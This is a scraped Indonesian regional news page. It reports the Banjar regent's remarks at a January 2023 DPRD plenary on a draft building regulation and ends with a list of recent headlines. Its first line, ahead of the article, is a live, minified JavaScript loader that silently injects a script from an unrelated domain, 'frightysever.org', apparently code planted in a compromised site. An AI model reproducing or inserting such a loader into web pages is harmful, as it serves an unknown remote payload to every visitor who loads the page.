(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Bupati Banjar Hadiri Rapat Paripurna di DPRD Banjar


KANALKALIMANTAN.COM, MARTAPURA
Bupati Banjar, H Saidi Mansyur saat rapat paripurna DPRD Banjar, Kamis (26/1/2023) menegaskan, Penyusunan Rancangan Peraturan Daerah (Raperda) tentang bangunan gedung dimaksudkan sebagai pedoman dalam persyaratan administrasi maupun teknis bangunan gedung.

“Kesesuaian dengan tata ruang dan standar teknis keandalan bangunan serta kelestarian lingkungan,” ujar bupati pada Rapat Paripurna DPRD Banjar yang dipimpin Ketua HM Rofiqi, di Ruang Paripurna lantai II DPRD Banjar itu.

Saidi Mansyur mengatakan, Raperda ini bertujuan mewujudkan kesesuaian tata guna lahan dengan rencana tata ruang wilayah.

Menjamin keselamatan dan keamanan pengguna gedung dan masyarakat disekitarnya serta bangunan yang laik fungsi dan berbudaya.

 

Suasana rapat paripurna di DPRD Banjar.
Foto: DKISP Banjar

Baca juga : Wali Kota Aditya Siapkan Layanan Kesehatan hingga Ribuan Konsumsi Dukung Pelaksanaan Haul Guru Sekumpul ke-18

“Standar ruang lingkup materi yang akan diatur dalam Raperda ini antara lain klasifikasi bangunan gedung, Persetujuan Bangunan Gedung (PBG), Sertifikat Laik Fungsi (SLF), bangunan gedung yang mudah diakses oleh penyandang disabilitas, pembinaan, pengawasan dan peran serta masyarakat,” katanya.

Saidi Mansyur juga menjelaskan terkait bangunan gedung, pemerintah telah menetapkan Peraturan Pemerintah Nomor 16 Tahun 2021 tentang Peraturan Pelaksanaan Undang-Undang Nomor 28 Tahun 2002 tentang Bangunan Gedung.

“Salah satunya dalam peraturan ini disebutkan bahwa pemerintah menghapus status Izin Mendirikan Bangunan (IMB) dan menggantikannya dengan Persetujuan Bangunan Gedung (PBG),” jelas Saidi.

Ia mengharapkan Raperda dapat dibahas dalam tahapan pembahasan sebaik-baiknya sehingga tahapan pembentukan peraturan daerah terlaksana sesuai dengan ketentuan peraturan perundang-undangan.

Rapat Paripurna ini juga mengagendakan Penyampaian Laporan Kinerja DPRD tahun 2022 disampaikan oleh Wakil Ketua DPRD Banjar H Akhmad Zacky Hafizie. (Kanalkalimantan.com/rls)

Reporter : Rls
Editor : Dhani


Desy Arfianty

Recent Posts

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

39 menit ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

1 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

2 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

6 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

9 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

9 jam ago

This website uses cookies.